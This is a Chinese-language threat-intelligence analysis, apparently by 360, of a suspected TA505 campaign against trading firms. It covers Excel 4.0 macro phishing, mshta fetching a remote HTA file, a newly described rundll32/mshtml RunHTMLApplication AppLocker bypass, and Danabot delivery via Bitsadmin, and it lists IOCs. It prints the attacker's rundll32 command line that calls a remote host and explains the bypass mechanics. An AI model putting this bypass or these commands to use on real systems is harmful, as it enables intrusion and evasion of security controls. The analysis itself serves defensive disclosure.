前言 近日,360安全大脑捕捉到一例疑似TA505组织针对外贸企业的恶意攻击,在此次攻击案例中,攻击者使用了一种尚未被披露的攻击技巧绕过AppLocker规则或软件限制策略执行恶意代码。TA505组织是一个主要针对银行金融机构的网络攻击组织。该组织通常采用大范围发送恶意邮件的方式实施攻击,传播Dridex银行木马、Locker勒索病毒等恶意程序。 使用携带Excel4.0宏的恶意文档实施钓鱼 攻击者使用携带Excel4.0宏的恶意文档实施钓鱼攻击,与今年年初360威胁情报中心披露的TA505组织攻击中所使用的攻击手法相同。在本例攻击中,钓鱼文档使用迷惑性的文件名“Required Amazon trading guideline..xls”,并在文档中使用显眼的提示语要求受害者启用宏。 图1 打开文档后展示显眼的提示语要求受害者启用宏
恶意文档中携带的是Excel4.0宏代码。由于Excel4.0宏相较于一般的宏代码出现频率较少且在复合二进制文件格式中的存储方式独特,携带Excel4.0宏的恶意文档更容易躲避杀毒软件的查杀。在这例恶意样本中,Excel4.0宏代码存在于隐藏的表单中,这与之前360威胁情报中心披露的TA505组织攻击中恶意宏代码的存储位置相同。 图2 恶意宏代码被存储在隐藏的表单中
当恶意宏代码执行后,将利用系统应用程序mshta.exe远程执行存放于服务器上的恶意hta脚本文件。脚本存放地址为hxxp://185.236.78.122:8115/stylesheet。 图3 恶意宏代码通过mshta.exe执行远程服务器上的恶意hta文件 使用未披露的攻击技巧绕过AppLocker
存放在远程服务器上的恶意hta文件“stylesheet”中包含经过混淆的JS代码,这段JS代码主要用于检测系统环境并将收集到的信息回传给服务器。 图4 解混淆前的部分JS代码 图5 解混淆后的部分JS代码 不过这段恶意JS的最大亮点并不在于信息收集,而在于其使用一种尚未被披露的攻击手法绕过AppLocker规则或软件限制策略。
该JS代码会启动rundll32进程,并带上参数hxxp://185.236.78.122:8115/stylesheet?sid=xxx;csrf=;\..\..\..\mshtml,RunHTMLApplication。这段命令行参数对于安全研究者来说并不陌生——早在2014年就有安全研究员提出类似的方法绕过AppLocker,该方法是使用合法的系统程序Rundll32执行javascript代码实现的。命令行格式图6所示。其中“xxxxxxxxxxxxxxxx”表示待执行的javascript代码。 图6 2014年公开的使用rundll32执行Javascript代码绕过AppLocker的方法 这种攻击手法合理利用了rundll32.exe处理命令行的逻辑以及RunHTMLApplication函数的灵活性。rundll32进程会查找命令行中的逗号,将逗号前的字符串视为加载的dll路径,将逗号后的字符串直到空格出现的部分视为待执行的导出函数。Rundll32会根据字符串“javascript:"\..\mshtml”到磁盘中查找相应的dll,由于“\..\”符号会将该符号前的字符串遗弃,因此rundll32从当前目录开始查找mshtml,直到找到合法的mshtml.dll的路径,之后调用mshtml.dll程序中名为RunHTMLApplication的导出函数,并将命令行中字符串“RunHTMLApplication”之后的内容作为该函数的参数传递给它。
不过RunHTMLApplication这个函数并不会循规蹈矩,而是重新获取一次进程命令行参数,并将进程命令行参数作为自身的参数传递,因此最终传递给RunHTMLApplication函数的参数为“javascript:"\..\mshtml,RunHTMLApplication ";xxxxxxxxxxxxxxxx”。其中“javascript:”告诉URL Moniker,在这之后是一段Javascript代码,而“"\..\mshtml, RunHTMLApplication ";xxxxxxxxxxxxxxxx”则是Javascript代码内容,由于分号前的部分是被引号标记为是一个字符串,并不影响Javascript代码的功能,因此xxxxxxxxxxxxxxxx代表的Javascript代码将被作为实际的功能代码执行。 图7 rundll32解析命令行执行JS代码示意图
而TA505组织的这例攻击正是在这基础上利用了RunHTMLApplication函数的灵活性。在对Windows系统中自带的应用程序的逆向过程中不难发现,mhsta.exe正是调用RunHTMLApplication函数完成工作的。可以很容易在mhsta.exe中找到对RunHTMLApplication函数的调用,其中RunHTMLApplication函数接收的第三个参数正是mshta.exe的进程命令行参数。 图 8 mshta.exe调用RunHTMLApplication函数的代码截图
在上文中提到,恶意Excel4.0宏就是通过mshta执行存放在远程服务器上的恶意hta文件,mshta.exe的进程命令行就是恶意hta文件的url。这意味着RunHTMLApplication函数也可以接受这样一个url作为参数去执行远程服务器上的恶意hta文件。攻击者基于这点,构造了如图9所示结构的命令,使用rundll32加载mshtml.dll的导出函数RunHTMLApplication执行远程服务器上的hta文件,借此绕过Applocker。这是一种尚未被披露的攻击手法。 图9 攻击者构造的命令 图9 rundll32解析命令行执行远程服务器上的hta文件示意图
在RunHTMLApplication函数被调用时,图中所示的url前半部分会与固定的url后半部分“;\..\..\..\mshtml,RunHTMLApplication”拼接成完整的url,RunHTMLApplication函数执行存放在该url中的hta文件。从抓包结果不难看出,在这例攻击中,RunHTMLApplication将执行url为hxxp://185.236.78.122:8115/stylesheet?sid=xxxx;csrf=;\..\..\..\mshtml,RunHTMLApplication的恶意hta文件。 图10 抓包结果 下发银行木马Danabot窃取敏感信息
rundll32执行远程服务器上的hta文件成功后,将通过Bitsadmin从hxxp://amazonchik.site/1.dat下载银行木马Danabot并执行,主要功能由1.dat的导出函数f0实现。 图11 Danabot银行木马执行主要功能的导出函数f0
该Danabot银行木马与C&C服务器89.144.25.104连接,接收控制端的命令执行敏感信息窃取、远程Shell等恶意操作。 图12 Danabot与C&C服务器的连接 安全建议 1. 切莫打开陌生人发来的文档,同时也不使用邮箱携带的文档预览模式查看文档,因为携带恶意代码的文档也可能在预览模式中触发。
2. 若必须打开文档,请确保安全软件开启,若文档中携带宏,请尽量不要启用宏。 3. 目前360安全大脑已经能够防御最新的利用rundll32绕过AppLocker的攻击技术。 IOC md5 e41a6f430c349df8d5c53758f7792500 00f64cd51fe7792f271751138666ed72 url hxxp://185.236.78.122:8115/stylesheet hxxp://amazonchik.site/1.dat IP 89.144.25.104 参考资料
|